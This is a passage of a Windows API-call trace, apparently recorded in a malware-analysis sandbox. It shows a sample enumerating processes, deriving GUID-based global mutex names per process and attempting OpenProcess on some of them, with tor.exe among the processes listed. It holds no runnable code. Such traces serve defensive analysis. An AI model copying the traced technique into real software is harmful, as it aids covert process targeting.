[0120.907] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.908] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.909] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.910] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.910] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.911] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.912] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.913] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.914] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.914] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0120.914] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0120.914] GetLastError () returned 0xb7 [0120.914] CloseHandle (hObject=0x56c) returned 1 [0120.914] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.915] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0120.915] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0120.915] GetLastError () returned 0xb7 [0120.915] CloseHandle (hObject=0x56c) returned 1 [0120.915] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.916] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.917] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0120.917] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0120.917] GetLastError () returned 0x0 [0120.917] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0120.917] CloseHandle (hObject=0x56c) returned 1 [0120.917] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.918] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0120.918] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0120.918] GetLastError () returned 0x0 [0120.918] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0120.918] CloseHandle (hObject=0x56c) returned 1 [0120.918] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.919] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0120.919] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0120.919] GetLastError () returned 0xb7 [0120.919] CloseHandle (hObject=0x56c) returned 1 [0120.919] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.920] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0120.920] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0120.920] GetLastError () returned 0x0 [0120.920] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0120.920] CloseHandle (hObject=0x56c) returned 1 [0120.920] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0120.921] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0120.921] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0120.922] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0120.923] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0120.924] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0120.925] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0120.926] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0120.927] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0120.929] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0120.930] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0120.931] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0120.932] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0120.932] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0120.933] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0120.934] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0120.935] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0120.936] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0120.936] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0120.937] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0120.938] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0120.946] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.947] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0120.947] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.948] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.949] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.950] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.950] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.951] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.952] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.953] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.954] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0120.954] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0120.954] GetLastError () returned 0xb7 [0120.954] CloseHandle (hObject=0x56c) returned 1 [0120.954] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0120.955] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0120.955] CloseHandle (hObject=0x6cc) returned 1 [0120.955] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0121.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0121.068] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.068] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.069] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.070] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.071] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.072] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.072] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.074] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.075] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.075] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0121.076] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.077] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.078] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.079] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.079] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.081] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.082] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.083] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.083] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.084] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, 